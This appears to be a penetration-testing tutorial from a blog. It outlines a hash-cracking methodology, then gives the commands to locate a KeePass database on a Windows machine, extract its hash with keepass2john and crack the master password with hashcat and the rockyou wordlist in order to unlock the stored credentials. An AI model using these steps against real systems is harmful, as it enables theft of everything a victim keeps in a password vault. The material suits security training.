Cracking Methodology & Keepass Database

Published on June 24, 2025

Cracking Methodology

We can describe the process of cracking a hash with the following steps:

  1. Extract hashes
  2. Format hashes
  3. Calculate the cracking time
  4. Prepare wordlist
  5. Attack the hash

Extract hashes: Locate hashes in dumps or database exports.

Format hashes: Identify algorithm (e.g., with hashid) and convert formats. 

hashid 4a41e0fdfb57173f8156f58e49628968a8ba782d0cd251c6f3e2426cb36ced3b647bf83057dabeaffe1475d16e7f62b7

Explanation: Runs hashid against the hash string to suggest possible algorithms (e.g., SHA-384).

Calculate cracking time: Estimate keyspace ÷ hash rate.

Prepare wordlist: Use dictionaries and rule files for mutations.

Attack the hash: Launch Hashcat or John with correct mode and options.

Password Manager

We assume we've obtained a KeePass database Database.kdbx from C:\Users\jason\Documents.

1. Locate KeePass file

PS C:\Users\jason> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Explanation:
Get-ChildItem: lists files and directories.
-Path C:\: search root drive.
-Include *.kdbx: match KeePass files.
-File: only files.
-Recurse: search subfolders.
-ErrorAction SilentlyContinue: suppress access errors.

2. Format for cracking

kali@kali:~/passwordattacks$ keepass2john Database.kdbx > keepass.hash

Explanation:
keepass2john: JtR script to extract hash material.
> keepass.hash: redirect output into file for cracking.

3. Identify Hashcat mode

kali@kali:~/passwordattacks$ hashcat --help | grep -i KeePass

Explanation:
hashcat --help: show supported modes.
| grep -i KeePass: filter lines containing “KeePass” (case-insensitive).

4. Crack with Hashcat


kali@kali:~/passwordattacks$ hashcat \
  -m 13400 \
  keepass.hash \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/rockyou-30000.rule \
  --force

Explanation:
-m 13400: mode for KeePass hash.
keepass.hash: input hash file.
/usr/share/wordlists/rockyou.txt: wordlist.
-r rockyou-30000.rule: apply rule mutations.
--force: override warnings (e.g., GPU driver issues).

Hashcat reveals the master password:

qwertyuiop123!

Use qwertyuiop123! to unlock KeePass and view stored credentials.

Linked Articles